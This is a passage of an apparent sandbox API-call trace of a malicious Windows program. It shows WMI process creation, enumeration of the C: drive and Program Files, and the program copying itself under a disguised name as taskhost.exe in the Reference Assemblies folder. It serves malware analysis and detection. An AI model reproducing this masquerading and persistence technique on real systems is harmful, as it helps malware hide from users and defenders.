puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0141.103] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9220, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0141.103] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9220, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0141.103] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9220, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.103] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd92e0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0141.103] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd92e0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0141.104] IWbemServices:ExecMethod (in: This=0x1bce7bd0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bcf3b20, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bcf3dd0, ppCallResult=0x0) returned 0x0 [0141.298] IWbemClassObject:Get (in: This=0x1bcf3dd0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28d2a18*=0, plFlavor=0x28d2a1c*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfc4, varVal2=0x0), pType=0x28d2a18*=19, plFlavor=0x28d2a1c*=0) returned 0x0 [0141.299] IWbemClassObject:Get (in: This=0x1bcf3dd0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28d2a18*=19, plFlavor=0x28d2a1c*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfc4, varVal2=0x0), pType=0x28d2a18*=19, plFlavor=0x28d2a1c*=0) returned 0x0 [0141.299] CoTaskMemAlloc (cb=0x20c) returned 0x1a9882a0 [0141.299] GetSystemDirectoryW (in: lpBuffer=0x1a9882a0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0141.299] CoTaskMemFree (pv=0x1a9882a0) [0141.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0141.299] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0141.300] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1bc46b70 [0141.300] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0141.300] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0141.300] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0141.300] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x1889f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x1889f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="comproviderRuntimecommon", cAlternateFileName="COMPRO~1")) returned 1 [0141.300] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0141.300] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x617749e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0141.300] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0141.300] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61c838a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0141.301] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0141.301] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0141.301] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0141.301] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0141.301] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0141.301] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0141.301] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0141.301] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0141.301] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.301] FindClose (in: hFindFile=0x1bc46b70 | out: hFindFile=0x1bc46b70) returned 1 [0141.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0141.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0141.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0141.302] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0141.302] FindFirstFileW (in: lpFileName="C:\\Program Files\\*" (normalized: "c:\\program files\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bc46b70 [0141.302] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.302] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x96f46f30, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96f46f30, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0141.302] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0141.303] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96ed4b10, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96ed4b10, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0141.303] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x96fb9350, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96fb9350, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0141.303] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd56ee620, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd56ee620, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd56ee620, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0141.303] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x972b2ed0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x972b2ed0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0141.303] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e88850, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96e88850, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0141.303] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x96f6d090, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96f6d090, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0141.303] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96f20dd0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96f20dd0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0141.303] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x95c62090, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x95c62090, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0141.303] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x95e04fb0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x95e04fb0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0141.303] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96f931f0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96f931f0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0141.303] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0141.303] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96efac70, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96efac70, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0141.303] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96fb9350, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96fb9350, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0141.303] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0141.304] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49bb8a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49bb8a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0141.304] FindNextFileW (in: hFindFile=0x1bc46b70, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.304] FindClose (in: hFindFile=0x1bc46b70 | out: hFindFile=0x1bc46b70) returned 1 [0141.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0141.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0141.304] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\taskhost.exe", nBufferLength=0x105, lpBuffer=0x1bb7e7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\taskhost.exe", lpFilePart=0x0) returned 0x32 [0141.304] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0141.304] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\taskhost.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\taskhost.exe", lpFilePart=0x0) returned 0x32 [0141.304] CopyFileW (lpExistingFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\taskhost.exe" (normalized: "c:\\program files\\reference assemblies\\taskhost.exe"), bFailIfExists=0) returned 1 [0141.401] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\b75386f1303e64", nBufferLength=0x105, 